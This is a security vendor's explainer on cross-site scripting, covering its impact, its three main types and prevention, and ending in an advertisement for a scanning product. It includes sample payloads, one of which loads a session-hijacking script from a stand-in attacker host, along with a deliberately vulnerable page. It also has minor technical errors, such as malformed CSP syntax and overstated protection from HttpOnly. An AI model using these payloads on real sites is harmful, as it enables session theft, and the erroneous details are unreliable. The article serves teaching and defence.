What is XSS? Impact, Types, and Prevention

Admir Dizdar
Share on facebook
Share on twitter
Share on linkedin
xss banner

What is XSS?

Cross site scripting (XSS) is a cyberattack method that involves running malicious code as part of a vulnerable web application. Unlike other attack vectors like SQL injections, XSS does not target the application directly—it primarily targets the user.

If successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device. 

If the process reveals session cookies, the attacker can use them to impersonate a legitimate user and perform any action the user is allowed to perform in the web application—including sensitive operations like purchases, transfer of funds, or administrative actions. 

In this article, you will learn:

How Does Cross Site Scripting Work?

XSS is an injection attack that exploits the fact that browsers cannot differentiate between valid scripts and attacker-controlled scripts. XSS attacks bypass the same-origin policy, which is designed to prevent scripts that originate in one website from interacting with other scripts from different websites.

When the same-origin policy is not properly enforced, attackers can inject a script that modifies the web page. For example, the script can allow an attacker to impersonate a pre-authenticated user. It also allows attackers to input malicious code, which is then executed by the browser, or execute JavaScript that modifies content on the page.

XSS can cause serious issues. Attackers often leverage XSS to steal session cookies and impersonate the user. Attackers can also use XSS to deface websites, spread malware, phish for user credentials, support social engineering techniques, and more.

Learn more in our detailed guide to XSS vulnerabilities

What Languages are Targets of XSS?

Unsanitized user input can put any web application at risk of an XSS attack. The most common language for XSS attacks is JavaScript, but XSS can affect HTML, Flash, VBScript, CSS, and other web development languages and frameworks.

What is the Impact of XSS?

Cross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.

XSS can also impact a business’s reputation. An attacker can deface a corporate website by altering its content, thereby damaging the company’s image or spreading misinformation. A hacker can also change the instructions given to users who visit the target website, misdirecting their behavior. This scenario is particularly dangerous if the target is a government website or provides vital resources in times of crisis.

Types of XSS Attacks

Reflected Cross-site Scripting

Reflected XSS is a simple form of cross-site scripting that involves an application “reflecting” malicious code received via an HTTP request. As a result of an XSS vulnerability, the application accepts malicious code from the user and includes it in its response.

For example, suppose a website encodes a message in a URL parameter. If the application does not sanitize the input provided by the URL parameter, an attacker can inject a malicious script into it, like this:

https://web-app.com/status?message=<script>/*+malicious+code...+*/</script>

<p><script>/*+malicious+code...+*/</script></p>

When a user visits the page, the attacker’s script executes, and the script now has access to any action or data that the user can access. 

Stored/Persistent Cross-Site Scripting

Stored XSS involves an application receiving data from a malicious source and storing the data for use in later HTTP responses. This is also known as second-order or persistent XSS, because it persists in the system. 

The data can come from any untrusted source that sends an HTTP request to the application, such as comments posted on a blog or an application that displays email messages using SMTP.

An example of a stored XSS attack is an Ecommerce website that allows customers to post reviews of products. Now consider that the mechanism used to publish reviews does not properly sanitize user inputs, allowing attackers to embed HTML tags in the text they submit.

For example, an attacker could submit review text like this:

Really enjoyed this product, highly recommend it. “<script src=”http://attacker.com/sessionhijack.js”> </script>”

The review is published on the page, and loads for every user who views the page (hence this is a stored XSS attack). When a new visitor loads the page, the malicious JavaScript is executed, attackers hijack the user’s session, and can impersonate them on the site from this point onwards.

DOM-based Cross-site Scripting

DOM-based XSS is an attack that modifies the domain object model (DOM) on the client side ( the browser). In a DOM-based attacks, the HTTP response on the server side does not change. Rather, a malicious change in the DOM environment causes client code to run unexpectedly.

See the example below of a welcome page in a web application, which retrieves a URL parameter to populate the user’s name.

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome

</HTML>

This page uses a URL parameter to input the user’s name, like this:

http://www.vulnerable.site/welcome.html?name=Jill

But a malicious user can inject JavaScript code into the request, like this:

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

Learn more, and see additional examples, in our guide to DOM-based XSS

How Can You Prevent Cross-Site Scripting Attacks?

XSS Prevention: Reflected and Stored XSS

1. Sanitizing Inputs

Reflected and stored cross-site scripting can be sanitized on the server-side and there are multiple ways of doing it. Blacklisting characters that are deemed unsafe won’t really work out in the long run since some malicious user might figure out some bypass for it as it usually happens. What you need to do is whitelist what is allowed.

  • Use a security encoding library to encode all parameters and user input.If you need to insert parameters/user input data into your HTML body, add an HTML escape before insert itself. 
  • Encode any character that can affect the execution context, whether it indicates the start of a script, event, or CSS style, using a function like htmlentities().
  • Escape attribute if you need to insert parameters/user input data into your HTML common attributes. Don’t use event handles or attributes like href, style, or src
  • Always add quotes to your attributes, because quoted attributes can only be escaped with the corresponding quote. As a general rule, escape all non-alphanumeric characters.
  • Use JavaScript escaping for dynamically generated JS code, where you would need to insert parameters/user data input into either event handlers or script tags. The only safe place you can put data here is inside any quoted value. Anything else is really tricky to sanitize properly since it’s really easy to switch context.

2. Use HTTPOnly cookie flag

It is difficult to prevent all XSS flaws in your application. To reduce the impact of XSS vulnerabilities, use the HTTPOnly flag—if the browser supports it, this flag ensures that cookies cannot be accessed by client side scripts, effectively blocking XSS attacks.

Set the HTTPOnly flag on session cookies, and any custom cookies that are not accessed by any of your JavaScript code. The flag is enabled in .NET applications default, but it needs to be enabled manually in other languages.

3. Implement Content Security Policy

Content Security Policy (CSP) is another effective strategy to help mitigate the impact of XSS vulnerabilities. It is a browser-side solution that lets you create lists specifying access permissions to client side resources, such as JavaScript and CSS. CSP uses an HTTP header to instruct the browser to execute resources only from the specified sources.

For example:

Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld

This command instructs the web browser to only load all resources from a known source, in this example static.domain.tld.

4. X-XSS-Protection Header

The HTTP X-XSS-Protection header is a feature available in popular browsers like Google Chrome and Internet Explorer, which filters suspicious content to prevent reflected XSS attacks.  If the header detects XSS, it blocks the page from loading, but doesn’t sanitize inputs in the page. 

However, reliance on the X-XSS-Protection header can create additional client-side security risks. It should be used with caution. It is recommended to set the header to X-XSS-Protection: 0, which disables the XSS Auditor and prevents it from following the default response behavior of the browser.

XSS Prevention: DOM XSS

DOM XSS can’t be sanitized on the server-side since all execution happens on the client-side and thus the sanitization is a bit different.

1. Sanitizing inputs

Always HTML escape and then JavaScript escape any parameter or user data input before inserting it into the HTML subcontext in the execution context.

When inserting into the HTML attribute subcontext in the execution context do JavaScript escape before it.

Avoid including any volatile data (any parameter/user input) in event handlers and JavaScript code subcontexts in an execution context.

2. Using the correct output method

Make sure you use the most appropriate browser API output method. For instance, to accept content from user inputs in a div, don’t use innerHtml – prefer to use a function like innerText that sanitizes the content.

In addition, don’t try to encode the output manually. Use element.textContent to display user-provided content, like in the following example provided by OWASP:

<b>Current URL:</b> <span id="contentholder"></span>
...
<script>
document.getElementById("contentholder").textContent = document.baseURI;
</script>

This achieves the same objective of displaying user-provided content, but without DOM XSS vulnerabilities.

Detecting and Testing for XSS with NeuraLegion Nexploit

While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

NeuraLegion’s Nexploit can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Nexploit’s results, with automatic validation of every XSS finding carried out, with no false positives. Nexploit even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free account for NeuraLegion’s Nexploit and start testing today!

Secure your app with every build

Sign up for a FREE NeuraLegion account.
Share on facebook
Share on twitter
Share on linkedin
Related Articles

Secure your app with every build

  • Easily and quickly find & fix security bugs

  • Automate it in your build pipeline

  • No false positives

  • Scan any target: web apps & APIs